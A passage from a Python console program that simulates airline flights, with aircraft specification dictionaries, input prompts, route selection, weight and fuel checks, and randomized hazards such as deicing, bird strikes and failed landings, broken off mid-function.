\"max_luggage_and_passenger_weight\": 39_000, # kg\n    \"max_fuel_capacity\": 171_350, # L\n    \"max_total_weight\": 299_371, # kg\n    \"headwind_consumption\": 0.21, # perc\n    \"tailwind_consumption\": -0.15, # perc , negative is efficient\n    \"snow_weight\": 100,\n    \"max_other_weight_perc\": 0.15 ,# pass + lugg + cargo in perc\n    \"taxing_fuel_usage\": 210/0.8, # kg\n    \"max_speed\": 905,\n    \"empty_flight_fuel\": 2735\n\n}\n\nb787 = {\n    \"code\": \"b787\",\n    \"name\": \"Boeing 787-8 Dreamliner\",\n\n    \"average_consumption\": 10.7, # L/hour/passenger,\n    \"ground_consumption\": 0.25,\n    \"take_off_consumption\": 11.2,\n    \"max_passengers\": 246,\n\n    \"max_other_weight\": 0.34, # pass + lugg + cargo in perc\n    \"max_travel_distance\": 14_140,\n    \"max_luggage\": 2,\n    \"max_luggage_weight\": 23, # kg\n    \"max_luggage_and_passenger_weight\": 34_100, # kg\n    \"max_fuel_capacity\": 156_461, # L\n    \"max_total_weight\": 224_837, # kg\n    \"headwind_consumption\": 0.178, # perc\n    \"tailwind_consumption\": -0.19, # perc , negative is efficient\n    \"snow_weight\": 86,\n    \"max_other_weight_perc\": 0.19 ,# pass + lugg + cargo in perc\n    \"taxing_fuel_usage\": 189/0.8, # kg\n    \"max_speed\": 1085,\n    \"empty_flight_fuel\": 2286\n\n}\n\nb737 = {\n    \"code\": \"b737\",\n    \"name\": \"Boeing 737MAX 8-Passenger\",\n\n    \"average_consumption\": 12.698, # L/hour/passenger,\n    \"ground_consumption\": 0.2,\n    \"take_off_consumption\": 15.2,\n    \"max_passengers\": 189,\n\n    \"max_other_weight\": 0.34, # pass + lugg + cargo in perc\n    \"max_travel_distance\": 6_510,\n    \"max_luggage\": 1,\n    \"max_luggage_weight\": 23, # kg\n    \"max_luggage_and_passenger_weight\": 25_580, # kg\n    \"max_fuel_capacity\": 96_461, # L\n    \"max_total_weight\": 184_837, # kg\n    \"headwind_consumption\": 0.148, # perc\n    \"tailwind_consumption\": -0.28, # perc , negative is efficient\n    \"snow_weight\": 79,\n    \"max_other_weight_perc\": 0.19 ,# pass + lugg + cargo in perc\n    \"taxing_fuel_usage\": 154/0.8, # kg\n    \"max_speed\": 876,\n    \"empty_flight_fuel\": 1759 # L / hour = fuel of the aircraft only\n}\n\n\n\nflights = {\n    \"a380\": a380,\n    \"b777\": b777,\n    \"a350\": a350,\n    \"b787\": b787,\n    \"b737\": b737\n}\n\n\n## ============================== INPUT METHODS ==============================\n\ndef timeFormat(time):\n    splitted = time.split(\":\")\n    if (len(splitted) > 2):\n        raise Exception(\"invalid.\")\n    hours = int(splitted[0])\n    if (hours > 12):\n        raise Exception(\"Invalid hours.\")\n    other = splitted[1:][0]\n    \n    minutes = int(other[:2])\n    if (minutes > 60):\n        raise Exception(\"Invalid minutes\")\n\n    day_time = other[2:]\n\n    if (day_time != \"PM\" and day_time != \"AM\" and day_time != \"am\" and day_time != \"pm\"):\n        raise Exception(\"invalid day.\")\n\n    if (day_time == \"PM\" or day_time == \"pm\"):\n        hours+=12\n    return [hours, minutes]\n\n## GET TIME INPUT WITH FORMAT\ndef getTime():\n    while(True):\n        try:\n            time = input(\"? Enter the departure time (format HH:MMPM/AM such as 12:00AM): \")\n            formTime = timeFormat(time)\n\n            return formTime\n        except Exception as err:\n            print(err)\n\n## GET TOTAL PASSENGERS ON THE PLANE\ndef getPassengers(maximum):\n    while(True):\n        try:\n            passenger = input(\"? Enter the number of passengers (max. \" + str(maximum)+ \"): \")\n            if not passenger:\n                return 1\n            \n            passenger = int(passenger)\n            if (passenger < 0 or passenger > maximum):\n                raise Exception(f\"Invalid passengers number. You added {passenger} but the possible passengers are 1 or \" + str(maximum))\n            \n            return passenger\n        except Exception as err:\n            print(err)\n\n## GET EXCESSIVE CARGO CARRAIGAGE\ndef getExcessiveCarrage():\n    while(True):\n        try:\n            excessive_carrage = input(\"? Enter the weight (kg) of the luggage (press enter or 0 if none): \")\n            if not excessive_carrage:\n                return 0\n            \n            excessive_carrage = int(excessive_carrage)\n            if (excessive_carrage < 0):\n                raise Exception(f\"The weight cannot be negative.\")\n            \n            return excessive_carrage\n        except Exception as err:\n            print(err)\n\n## GET THE WIND DIRECTION INPUT\ndef getWindDirection():\n    while(True):\n        try:\n            inp = input(\"? Enter the wind direction (head or tail): \")\n            if not inp or inp == \"tail\":\n                return \"tail_wind\"\n\n            if inp == \"head\":\n                return \"head_wind\"\n\n            raise Exception(\"The wind direction can be head or tail\")\n        except Exception as err:\n            print(err)\n\n## GET A POSITIVE VALUE\ndef getPositiveInt(inputText, errorText):\n    while(True):\n        try:\n            inp = input(inputText)\n            if not inp:\n                return 0\n            \n            inp = int(inp)\n            if (inp < 0):\n                raise Exception(errorText)\n            \n            return inp\n        except Exception as err:\n            print(err)\n\n## GET AVERAGE LUGGAGE WEIGHT\ndef getAverageLuggage(maximum):\n    while(True):\n        try:\n            inp = input(f\"? Enter the average weight (kg) of the luggage (max. {maximum}kg): \")\n            if not inp:\n                return 0\n            \n            inp = int(inp)\n            if (inp < 0 or inp > maximum):\n                raise Exception(f\"The luggage weight can be between 0 and {str(maximum)}\")\n            \n            return inp\n        except Exception as err:\n            print(err)\n\n## GET FEMALE RATIO\ndef getRatio():\n    while(True):\n        try:\n            inp = input(\"? Enter the female ratio (between 0 and 1, a float number such as 0.4 = 40% women): \")\n            if not inp:\n                return 0\n            \n            inp = float(inp)\n            if (inp < 0 or inp > 1):\n                raise Exception(f\"Invalid ratio: value can be between 0 and 1\")\n            \n            return inp\n        except Exception as err:\n            print(err)\n\n## GET AN INPUT FROM A LIST OF POSSIBLE VALUES\ndef getInputWithComparisonList(text, array, default):\n    while(True):\n        try:\n            inp = input(text)\n            if not inp:\n                return default\n\n            if inp not in array:\n                raise Exception(\"The value you added is not inside the possible values of \"+str(array))\n            \n            return inp\n        except Exception as err:\n            print(err)\n\ndef getAirportCode( airports, type):\n    while True:\n        try:\n            airportSelect = input(f\"? Enter the {type} airport code: \")\n            isValid = checkIfValidCode(airportSelect, airports)\n\n            if not isValid:\n                raise Exception(\"you entered an invalid code. we could not find any airport with that code.\")\n            \n            return airportSelect\n        except Exception as err: \n            print(err)\n\ndef checkIfValidCode(code, airports):\n    for airport in airports:\n        if airport[\"code\"] == code:\n            return True\n    return False\n\n\n## ============================== LOGIC METHODS ==============================\ndef getDomesticAirports():\n    arr = []\n    valid = []\n    for domesticRoute in domesticFlights:\n        dep = domesticRoute[\"route\"][0]\n        for airport in airports:\n            if airport[\"code\"] == dep and dep not in valid:\n                arr.append(airport)\n                valid.append(dep)\n        \n        dep = domesticRoute[\"route\"][1]\n        for airport in airports:\n            if airport[\"code\"] == dep and dep not in valid:\n                arr.append(airport)\n                valid.append(dep)\n    return arr\n\ndef getAirportInfo(code):\n    for airport in airports:\n        if code == airport[\"code\"]:\n            return airport\n    return \"\"\n\ndef getFlightsFromAirport(flights, airport):\n    validFlights = []\n    for flight in flights:\n        if airport in flight[\"route\"]:\n            if flight[\"route\"][0] != airport:\n                if flight[\"route\"][0] not in validFlights:\n                    validFlights.append(flight[\"route\"][0])\n            else:\n                if flight[\"route\"][1] not in validFlights:\n                    validFlights.append(flight[\"route\"][1])\n    return validFlights\n\ndef findFlight(routes, departure, arrival):\n    validRoutes = []\n    for route in routes:\n        if departure in route[\"route\"] and arrival in route[\"route\"]:\n            validRoutes.append(route)\n    return validRoutes\n\n## ======================= HELPERS =======================\n\n\n# GET A RANDOM FLOAT VALUE BETWEEN A AND B\ndef randomDouble(a, b):\n    return a + random.random()*b\n\n## RETURN THE LIST OF FLIGHTS\ndef getFlights():\n    return flights\n\n## COMPUTE AND FIND ANOTHER FLIGHT THAT SATISFIED THE FOLLOWING CONDITIONS\ndef findAnotherFlight(field, weight):\n    possibleFlights = []\n    for flight in flights:\n        if flights[flight][field] >= weight:\n            possibleFlights.append(flight)\n\n    return possibleFlights\n\n\n## ============================== PRINT METHODS ==============================\n\n# PRINT THE RESULT OF AN IMPACT IN A TABLE\ndef printImpact(typee, fuel, distance):\n    if fuel == 0 and distance == 0:\n        print(\"No hazzard impact.\")\n    else:\n        print()\n        print(\"==========\"*2+ \"IMPACT SUMMARY\" +\"==========\"*2)\n        print(\"|  %-50s|\" % (\"Type: \" + typee))\n        print(\"|  %-50s|\" % (\"Hazzard fuel impact: \" + str(round(fuel, 2)) + \" Litre\"))\n        print(\"|  %-50s|\" % (\"Hazzard distance impact: \" + str(round(distance, 2)) + \" km\"))\n        print(\"==========\"*2+ \"==============\" + \"==========\"*2)\n        print()\n\n# PRINT THE FLIGHT INFORMATION\ndef printFlight(flight):\n    print(\"\"\"\n        ----------------------\n        |AIRCRAFT INFORMATION|\n        ----------------------\n    \"\"\")\n    print(\"\\tCode: \", flight[\"code\"])\n    print(\"\\tAircraft: \", flight[\"name\"])\n    print()\n    print(\"\\tAverage consumption: \", flight[\"average_consumption\"], \"Litre per hour per passenger\")\n    print(\"\\tGround consumption: \", flight[\"ground_consumption\"], \"Litre per hour per passenger\")\n    print(\"\\tTake-off consumption: \", flight[\"take_off_consumption\"], \"Litre per hour per passenger\")\n    print(\"\\tHead wind consumption: \", flight[\"headwind_consumption\"]*100, \"Litre\")\n    print(\"\\tTail wind consumption: \", flight[\"tailwind_consumption\"]*100), \"Litre\"\n    print()\n    print(\"\\tMaximum passengers: \", flight[\"max_passengers\"])\n    print(\"\\tMaximum extra weight percentage: \", flight[\"max_other_weight\"]*100)\n    print(\"\\tMaximum travel distance: \", flight[\"max_travel_distance\"], \"km\")\n    print(\"\\tMaximum luggage weight: \", flight[\"max_luggage_weight\"], \"kg\")\n    print(\"\\tMaximum luggage allowance: \", flight[\"max_luggage\"])\n    print(\"\\tMaximum passengers and luggage weight: \", flight[\"max_luggage_and_passenger_weight\"], \"kg\")\n    print(\"\\tMaximum fuel capacity: \", flight[\"max_fuel_capacity\"], \"Litre\")\n    print(\"\\tMaximum overall weight: \", flight[\"max_total_weight\"], \"kg\")\n    print(\"\\tMaximum speed: \", flight[\"max_speed\"], \"km / h\")\n\n# GET HAZZARDS DESCRIPTION FROM HAZZARD CODE\ndef flightHazzardText(hazzard):\n    if hazzard == \"deicing\":\n        return (\"🚨 The flight went the process of deicing. Flight is delayed and ground fuel is consumed.\")\n    elif hazzard == \"engine_startup_problem\":\n        return (\"🚨 There were some problems with startin the plane engine. Flight is delayed and ground fuel is consumed.\")\n    elif hazzard == \"ventilation_problem\":\n        return (\"🚨 Cabin ventilation malfunction. Flight is delayed and ground fuel is consumed.\")\n    elif hazzard == \"tail_wind\":\n        return (\"🚨 Air coming from the back of the plane. Helps with fuel consumption and take off.\")\n    elif hazzard == \"litiguous_on_plane\":\n        return (\"🚨 There was a flight onboard the plane when the plane was on land. Flight delayed.\")\n    elif hazzard == \"medical\":\n        return (\"🚨 Medical emergency on land. Fuel is consumed as the motors are active on ground and delayed.\")\n    elif hazzard == \"head_wind\":\n        return (\"🚨 Head wind on runway, More power is required for takeoff, resulting in excessive fuel usage.\")\n    elif hazzard == \"no_runway_available\":\n        return (\"🚨 Could not allocate the runway: needs to take longer distance and delayes are expected\")\n    elif hazzard == \"bad_runway\":\n        return (\"🚨 Bad runway: more fuel consumed because of the inertia.\")\n    elif hazzard == \"thunderstorm_land\":\n        return (\"🚨 There was a thunderstorm on land: fuel consumed as the flight is waiting with active motors.\")\n    elif hazzard == \"raining_land\":\n        return (\"🚨 It is raining on land: fuel consumed as the flight is waiting with active motors.\")\n    elif hazzard == \"fight_air\":\n        return (\"🚨 SEVERE DISRUPTION! The flight had to make an emergency landing to the previous aiport.Some passengers being fighting. Affecting fuel for return.\")\n    elif hazzard == \"medical_emergency\":\n        return (\"🚨 SEVERE DISRUPTION! The flight had to make an medical emergency landing to the previous aiport.Someone is feeling really ill. Affecting fuel for return.\")\n    elif hazzard == \"bird_strike\":\n        return (\"🚨 SEVERE DISRUPTION! The flight had to make an emergency landing to the previous aiport.A number of birds damaged the motor. Affecting fuel for return.\")\n\n    elif hazzard == \"engine_malfunctioning\":\n        return (\"🚨 SEVERE DISRUPTION! The flight had to make an emergency landing to the previous aiport.The engine stopped working. Affecting fuel for return.\")\n    elif hazzard == \"thunderstorm_air\":\n        return (\"🚨 SEVERE DISRUPTION! Severe storm. Fligh delayed and additional distace added because of route change.\")\n    elif hazzard == \"raining_air\":\n        return (\"🚨 SEVERE DISRUPTION! Severe raining. Fligh delayed and additional distace added because of route change.\")\n    elif hazzard == \"no_taxiing\":\n        return (\"🚨 Problem! No taxing found. Flight is waiting with fuel on ground consumption.\")\n    elif hazzard == \"tailed_landing\":\n        return (\"🚨 Plane failed to land. Making a U turn to try again. Fuel and distance consumed.\")\n    elif hazzard == \"round_turn\":\n        return (\"🚨 Runway was occupied, required taking a round turn.\")\n    elif hazzard == \"failed_landing\":\n        return \"🚨 The flight failed the attempt to land.\"\n\n\n\n\ndef printFlightRouteSmall(route):\n    dep = route[\"route\"][0]\n    arr = route[\"route\"][1]\n    airportInfoDeparture = getAirportInfo(dep)\n    airportInfoArrival = getAirportInfo(arr)\n\n\n    print()\n    print(\"Departure code: \", dep)\n    print(\"Departure airport: \", airportInfoDeparture[\"name\"], \"(\" + airportInfoDeparture[\"country\"] + \")\")\n    print(\"Arrival code: \", arr)\n    print(\"Arrival airport: \", airportInfoArrival[\"name\"], \"(\" + airportInfoArrival[\"country\"] + \")\")\n\ndef printFlightRoute(route, i):\n    airportInfoDeparture = getAirportInfo(route[\"route\"][0])\n    airportInfoArrival = getAirportInfo(route[\"route\"][1])\n    planes = getFlights()\n    plane = planes[route[\"plane\"]]\n\n    print(\"=\"*33 + \"AIRCRAFT PROVIDER #\" + str(i) + \"=\"*34)\n    print(\"| %-20s | %-60s |\" % (\"Company\", route[\"company\"]))\n    print(\"| %-20s | %-60s |\" % (\"Plane\", plane[\"name\"]))\n    print(\"| %-20s | %-60s |\" % (\"Airport 1\", airportInfoDeparture[\"name\"]))\n    print(\"| %-20s | %-60s |\" % (\"Airport 2\", airportInfoArrival[\"name\"]))\n    print(\"| %-20s | %-60s |\" % (\"Distance\", str(route[\"distance\"])+\" km\"))\n    print(\"| %-20s | %-60s |\" % (\"Duration\", str(route[\"duration\"])+\" hours\"))\n    print(\"| %-20s | %-60s |\" % (\"Flight type\", route[\"flight_type\"]))\n    print(\"=\"*87)\n    print()\n\ndef printFlightRoutes(routes):\n    for i in range(len(routes)):\n        route = routes[i]\n        printFlightRoute(route, i+1)\n\ndef printAirport(airport):\n    print(\"=\"*35 + \"AIRPORT\" + \"=\"*35)\n    print(\"| %-20s | %-50s |\" % (\"Code\", airport[\"code\"]))\n    print(\"| %-20s | %-50s |\" % (\"Name\", airport[\"name\"]))\n    print(\"| %-20s | %-50s |\" % (\"city\", airport[\"city\"]))\n    print(\"| %-20s | %-50s |\" % (\"Country\", airport[\"country\"]))\n    print(\"=\"*77)\n    print()\n\ndef printAirportWithCode(code):\n    airport = getAirportInfo(code)\n    printAirport(airport)\n\n## ============================== MAIN ==============================\n\ndef flightPrompts():\n    while True:\n        try:\n\n            flightType = input(\"? Enter 'international' for international flights or 'domestic': \")\n            if ((flightType).lower() != \"international\" and (flightType).lower() != \"domestic\"):\n                raise Exception(\"Invalid choice: 'international' or 'domestic' possible only.\")\n            print(\"Flight type: \", flightType)\n\n            #TODO: show planes\n            ## show flight options\n            \n            routes = 0\n            local_airports = {}\n            if (flightType == \"international\"):\n                '''\n                for route in internationalFlights:\n                    printFlightRouteSmall(route)\n                '''\n                    \n                routes = internationalFlights\n                local_airports = airports\n            else:\n                '''\n                for route in domesticFlights:\n                    printFlightRouteSmall(route)\n                '''\n                routes = domesticFlights\n                local_airports = getDomesticAirports()\n\n            print()\n            \n            # showind the list of airports to depart from\n            for airport in local_airports:\n                \n                printAirport(airport)\n            ## Get the departure airport code\n            departureAirport = getAirportCode(local_airports, \"departure\")\n\n            # showind the list of flights departing from the departure airport\n            print()\n            print(\"Here is the list of flights from that airport: \")\n            arrivalAirports = (getFlightsFromAirport(routes, departureAirport))\n            for arrivalCode in arrivalAirports:\n                printAirportWithCode(arrivalCode)\n\n\n            ## getting the arrival airport input\n            arrivalAirport = getAirportCode(airports, \"arrival\")\n            ## checking if the arrival airport exists\n\n            '''\n            departureAirport = input(\"? Enter the departure airport code: \")\n            arrivalAirport = input(\"? Enter the arrival airport code: \")\n            '''\n\n            ## checking if a valid route can be enstablished. Meaning that the user has inputted correctly.\n            validFlights = findFlight(routes, departureAirport, arrivalAirport)\n            if (len(validFlights) == 0):\n                raise Exception(\"No flight found. try again.\")\n\n            ## Selecting the airline\n            selection = 0\n            print()\n            print(\"HERE ARE THE FLIGHTS THAT WE FOUND\")\n            printFlightRoutes(validFlights)\n            if (len(validFlights) == 1):\n                pass\n                    ## continue loop\n            else:\n                selection = int(input(\"? Multiple airlines found. Select one (between 1 and \" + str(len(validFlights)) + \"): \"))\n                if (selection > len(validFlights) or selection < 1):\n                    raise Exception(\"Invalid value.\")\n            \n            route = validFlights[selection-1]\n            if not route:\n                print(\"An error occured. Could not enstablish a route\")\n\n            ## returning the route for simulation\n            return route\n        except Exception as err:\n            print(err)\n            print(\"Restarting the app...\")\n            \n# MAIN FLIGHT SIMULATION THAT REQUIRED 3 PARAMERS\n## FLIGHT_NAME = FLEET CODE SUCH AS b777 FOR A BOEING 777\n## DESTINATION_DISTANCE = HOW FAR IS THE DESTINATION\n## FLIGHT_DURATION = HOW LONG WILL THE FLIGHT TAKE TO REACH THE DESTINATION\ndef flightSimulation(flight_name, destination_distance, flight_duration):\n\n    plane = flights[flight_name]\n\n    ## TODO: check for input validation\n\n    #input passengers\n    passengers = getPassengers(plane[\"max_passengers\"])\n    print(\"Passengers: \", passengers)\n    print()\n\n    #input luggage\n    luggage = getPositiveInt(\"? Enter the number of luggage: \", \"The onboard luggage value is invalid.\")\n    print(\"Total luggage: \", str(luggage))\n    print()\n\n    #input average mass luggage\n    average_luggage_mass=getAverageLuggage(plane[\"max_luggage_weight\"])\n    print(\"Average luggage weight: \", str(average_luggage_mass))\n    print()\n\n    #input extra luggage\n    onboard_luggage = getPositiveInt(\"? Enter the number of onboard luggage: \", \"The onboard luggage value is invalid.\")\n    print(\"Onboard luggage: \", str(onboard_luggage))\n    print()\n\n    #input extra cargo\n    extra_cargo_weight = getPositiveInt(\"? Enter the cargo weight(kg): \", \"Invalid cargo weight\")\n    print(\"Cargo weight: \", str(extra_cargo_weight))\n    print()\n\n    # female ration\n    female_male_ratio = getRatio()\n    print(\"Female ratio: \", str(female_male_ratio))\n    \n    male = 1 - female_male_ratio\n    print(\"Male ratio: \", str(male))\n    print()\n\n    total_passenger_luggage_weight = male * passengers * 88 + female_male_ratio * passengers * 67 + luggage * average_luggage_mass + onboard_luggage * 8\n    gas_required_per_hour = (passengers + luggage/3+extra_cargo_weight/75+onboard_luggage/8) * plane[\"average_consumption\"] + plane[\"empty_flight_fuel\"]\n\n    ## CHECKING \n    ## Choose another flight if the current one cannot satisfy the need.\n    print(\"Check #1: Total luggage and passenger weight:\", total_passenger_luggage_weight, \"kg\")\n    if (total_passenger_luggage_weight >= plane[\"max_luggage_and_passenger_weight\"]):\n        print(\"❌ Excessive passengers and/or luggage. There is no enought space in the plane. Maximum possible:\", plane[\"max_luggage_and_passenger_weight\"], \"kg\")\n\n        possibleFlights = findAnotherFlight(\"max_luggage_and_passenger_weight\", total_passenger_luggage_weight)\n        if (len(possibleFlights) == 0):\n            print(\"There is no flight that can satisfy the weight. We are sorry. This flight was the biggest available.\")\n            return\n        print()\n        print(\"The flight options are: \")\n        for flight in possibleFlights:\n            printFlight(flights[flight])\n        \n        print()\n        code = input(\"Please enter the flight code: \")\n        new_plane = flights[code]\n        if not new_plane:\n            print(\"Invalid code. Terminating program.\")\n            return\n        \n        plane = new_plane\n\n        print()\n        print(\"New aircraft selected: \")\n        printFlight(plane)\n        print()\n        \n    \n    ## CHECKING IF TOTOAL WEIGHT CAN BE CARRIED\n    print(\"Result #1: Flight possible.\")\n    print()\n    print(\"Check #2: Total overall weight:\", total_passenger_luggage_weight+extra_cargo_weight, \"kg\")\n\n    if (total_passenger_luggage_weight+extra_cargo_weight >= plane[\"max_other_weight\"] * plane[\"max_total_weight\"]):\n        print(\"❌ Flight is overweighted. The flight cannot carry this much weight\")\n\n        possibleFlights = findAnotherFlight(\"max_other_weight\", total_passenger_luggage_weight+extra_cargo_weight)\n        if (len(possibleFlights) == 0):\n            print(\"There is no flight that can satisfy the weight. We are sorry.\")\n            return\n        print()\n        print(\"The flight options are: \")\n        for flight in possibleFlights:\n            printFlight(flights[flight])\n        \n        print()\n        code = input(\"Please enter the flight code: \")\n        new_plane = flights[code]\n        if not new_plane:\n            print(\"Invalid code. Terminating program.\")\n            return\n        \n        plane = new_plane\n\n        print()\n        print(\"New aircraft selected: \")\n        printFlight(plane)\n        print()\n\n    \n    ## CHECK IF THE FUEL CONSUMPTION IS POSSIBLE GIVEN THE TOTAL FUEL\n    print(\"Result #2: Flight possible.\")\n    print()\n    print(\"Check #3: Fuel consumption\", gas_required_per_hour * flight_duration, \"Litre\")\n    if (gas_required_per_hour * flight_duration >= plane[\"max_fuel_capacity\"]):\n        print(\"❌Insufficient fuel capacity. The flight cannot make to the destination. Required: \", gas_required_per_hour * flight_duration)\n\n        possibleFlights = findAnotherFlight(\"max_fuel_capacity\", gas_required_per_hour * flight_duration)\n        if (len(possibleFlights) == 0):\n            print(\"There is no flight that can satisfy the fuel. We are sorry.\")\n            return\n        print()\n        print(\"The flight options are: \")\n        for flight in possibleFlights:\n            printFlight(flights[flight])\n        \n        print()\n        code = input(\"Please enter the flight code: \")\n        new_plane = flights[code]\n        if not new_plane:\n            print(\"Invalid code. Terminating program.\")\n            return\n        \n        plane = new_plane\n\n        print()\n        print(\"New aircraft selected: \")\n        printFlight(plane)\n        print()\n\n    \n    print(\"Result #3: Flight possible.\")\n    total_passenger_luggage_weight += extra_cargo_weight\n\n    print()\n    # departure time\n    departureTime = getTime()\n    print(\"Departure time: \", str(departureTime))\n    print()\n\n    # input weather\n    weatherConditions = [\"snow\", \"rain\", \"fog\", \"sun\"]\n    weather = getInputWithComparisonList(\"? Enter the weather condition \" + str(weatherConditions) + \": \", weatherConditions, \"sun\") ## or raining, sun, fog\n    print(\"Weather condition: \", weather)\n    print()\n\n\n    #input wind direction\n    windConditions = [\"head_wind\", \"tail_wind\"]\n    wind_direction = getWindDirection()# or tail\n    print(\"Wind direction: \", wind_direction)\n    print()\n\n    # DISPLAYING INITIAL CALULATIONS\n    print(\"=\"*37 + \"INITIAL CALCULATION\" + \"=\"*37)\n    print(\"| %-40s | %20s %-8s |\" % (\"Total weight\", round(total_passenger_luggage_weight, 2), \"kg\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Gas required per hour\", round(gas_required_per_hour, 2), \"Litre/hour\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total gas for travel\", round(gas_required_per_hour * flight_duration, 2), \"Litre\"))\n    print(\"=\"*86)\n\n\n\n    ## DEFINING THE LIST OF HAZZARDS: EACH TYPE OF ROUTE HAS ITS OWN HAZZARDS\n    hazzards_on_land_snow = [\"deicing\", \"engine_startup_problem\", \"ventilation_problem\", \"tail_wind\"]\n    #[\"snow\", \"attack\", \"bad_passenger\", \"medical\", \"engine_problem\", \"air_conditioning_problem\", \"late_passenger\", \"no_runway\", \"deicing\"]\n\n    hazzards_on_land = [\"litiguous_on_plane\", \"medical\", \"thunderstorm_land\", \"raining_land\"]\n\n    hazzards_on_runway = [\"no_runway_available\", \"bad_runway\"]\n\n    hazzards_in_air = [\"fight_air\", \"medical_emergency\", \"bird_strike\", \"engine_malfunctioning\", \"thunderstorm_air\", \"raining_air\"]\n\n    hazzards_on_landing = [\"no_taxiing\", \"bad_runway\"]\n    hazzards_on_before_landing = [\"failed_landing\", \"round_turn\"]\n\n    ## run every 10km\n    ## after 200km, skip by 50km because in air\n\n    total_fuel_hazzards = 0\n    total_distance_hazzards = 0\n    distance_travelled = 0\n    air_hazzards = 0\n    runway_hazzards = 0\n    total_hazzards = []\n\n    ## HANDING IMPACT OF EACH HAZZARD. \n    ## IT CAN IMPACT ON THE FUEL, DISTANCE, WEIGHT OR DELAY\n    def calculateImpactOfHazzard(hazzard, distance_travelled):\n        additional_fuel = 0\n        additional_distance = 0\n        additional_weight = 0\n        flight_delay = 0\n        print(flightHazzardText(hazzard))\n\n        \n        ## delay, additiona fuel\n        if hazzard == \"deicing\" or hazzard == \"ventilation_problem\" or hazzard == \"engine_startup_problem\":\n            delay = randomDouble(0.3, 1.7)\n            flight_delay+=delay\n            additional_fuel+=(plane[\"taxing_fuel_usage\"] * delay)\n        \n        # dealy and additional fuel\n        elif hazzard == \"medical\":\n            delay = randomDouble(0.3, 2.5)\n            flight_delay+=delay\n            additional_fuel+=plane[\"taxing_fuel_usage\"]\n        \n        # additional fuel and distance increased\n        elif hazzard == \"head_wind\":\n            additional_distance+=20\n            additional_fuel+=1.1*gas_required_per_hour*0.50 # For 30 minutes from takeoff to stability, there is a consumption higer than 10% of average fuel\n        \n        elif hazzard == \"tail_wind\":\n            additional_fuel-=1.1*gas_required_per_hour*0.50 # For 30 minutes from takeoff to stability, there is a consumption higer than 10% of average fuel\n        # could not allocate the runway: needs to take longer distance and delayes are expected\n        \n        elif hazzard == \"no_runway_available\":\n            additional_distance = 10\n            additional_fuel+=0.05 * gas_required_per_hour\n            flight_delay = randomDouble(0.1, 0.9); # from 0.1 hour to 0.9 hours\n        \n        elif hazzard == \"litiguous_on_plane\":\n            ## flight gets delayed\n            flight_delay+=randomDouble(0.1, 0.4)\n        \n        elif hazzard == \"fight_air\":\n            # there was a fight when the flight was in air\n            ## consequence: emergency descending to the previous airport, requiring more fuel\n            ## we can consider that the flight returns to the original airport and does not descend to the near airport, for simplicity\n            after = randomDouble(0.05, 0.2) # in between 5% and 20% of total distance\n            additional_distance+=distance_travelled*2\n            flight_delay+=flight_duration*after*2\n        \n        elif hazzard == \"medical_emergency\":\n\n            ## TODO: insert petrol \n            after = randomDouble(0.05, 0.4) # in between 5% and 20% of total distance\n            additional_distance+=distance_travelled*2\n            flight_delay+=flight_duration*after*2\n        \n        elif hazzard == \"bird_strike\":\n            after = randomDouble(0.1, 0.2) # in between 5% and 20% of total distance\n            additional_distance+=distance_travelled*2\n            flight_delay+=flight_duration*after*2\n        \n        elif hazzard == \"engine_malfunctioning\":\n            after = randomDouble(0.1, 0.35) # in between 5% and 20% of total distance\n            additional_distance+=distance_travelled*2\n            flight_delay+=flight_duration*after*2\n        \n        elif hazzard == \"failed_landing\":\n            # descending: consuming less gas\n            additional_fuel-=0.8*gas_required_per_hour*0.2 #\n            # ascending again\n            additional_fuel+=1.2*gas_required_per_hour*0.15\n            additional_distance+=200\n        \n        # NO TAXING FOUND: FUEL FOR WAITING AND MORE DELAY FOR PASSENGERS\n        elif hazzard == \"no_taxiing\":\n            delay = randomDouble(0.3, 1.5)\n            flight_delay+=delay\n            additional_fuel+=plane[\"taxing_fuel_usage\"]\n        \n        # THUNDERSTORM: CHANGE OF DIRECTION: MORE DISTANCE AND DELAY\n        elif hazzard == \"thunderstorm_air\" or hazzard == \"raining_air\":\n            randDistance = randomDouble(120, 500)\n            flight_delay+=randDistance*plane[\"max_speed\"] # finding delay time from distance and max speed in air\n            additional_distance+=randDistance\n        \n        ## THUNDERSTORM ON LAND: DELAY, FUEL CONSUPTION HAND HEAVY WEIGHT WHEN LIFTING OFF\n        elif hazzard == \"thunderstorm_land\" or hazzard == \"raining_land\":\n            headwindHazzard = calculateImpactOfHazzard(\"head_wind\", distance_travelled)\n            additional_distance+=headwindHazzard[\"distance\"]\n            additional_fuel+=headwindHazzard[\"fuel\"]\n            additional_weight+=headwindHazzard[\"weight\"]\n            flight_delay+=headwindHazzard[\"delay\"]\n            additional_fuel+=100\n        \n        ## BAD RUNWAY: MORE 15% CONSUMPTION \n        elif hazzard == \"bad_runway\":\n            additional_fuel+=0.2*gas_required_per_hour*0.15\n        \n        ## ROUND TURN : FAILED LANDING ATTEMPT: MORE DISTANCE TO COVER\n        elif hazzard == \"round_turn\":\n            randDistance = randomDouble(50, 150)\n            additional_distance+=randDistance\n        \n        else:\n            print(\"Hazzard not recognized in the system.\")\n\n        print()\n        printImpact(hazzard, additional_fuel, additional_distance)\n\n        ## RETURNING THE CALCULATION RESULTS\n        result = {\n            \"hazzard\": hazzard,\n            \"fuel\": additional_fuel,\n            \"weight\": additional_weight,\n            \"distance\": additional_distance,\n            \"delay\": flight_delay\n        }\n        ## APPENDING TO THE LIST OF HAZZARDS\n        total_hazzards.append(result)\n        return result\n\n    \n\n    ## GENERATING A BUNCH OF RANDOM HAZZARDS AND CALCULATE THE HAZZARD\n    def generateRandomFactorAndCalculateImpact(hazzards, total):\n        randHazzards = random.randint(0, total)\n        print(\"Randomizing impact result: \", randHazzards)\n\n        ## CARRY TOTAL IMPACT PER SIMULATION\n        total_distance = 0\n        total_fuel = 0\n        total_delay = 0\n        total_weight = 0\n\n        ## LOOP FOR A RANDOM VALUE BETWEEN O AND TOTAL RANDOM HAZZARDS FOUND\n        for i in range(randHazzards):\n            if len(hazzards) == 0:\n                break\n            # OTHER RANDOMIZATION FOR THE PROBABILITY OF HAVING THE HAZZARD\n            randFactor = random.randint(0, len(hazzards)-1)\n            ## FINDINT THE HAZZARD CODE FROM THE LIST\n            hazzard = hazzards[randFactor]\n            \n            ## REMOVE THE HAZZARD FROM THE LIST: WILL NOT HAPPENA AGAIN\n            hazzards.pop(randFactor)\n\n            # check for the type of hazzard\n            impact = calculateImpactOfHazzard(hazzard, distance_travelled)\n            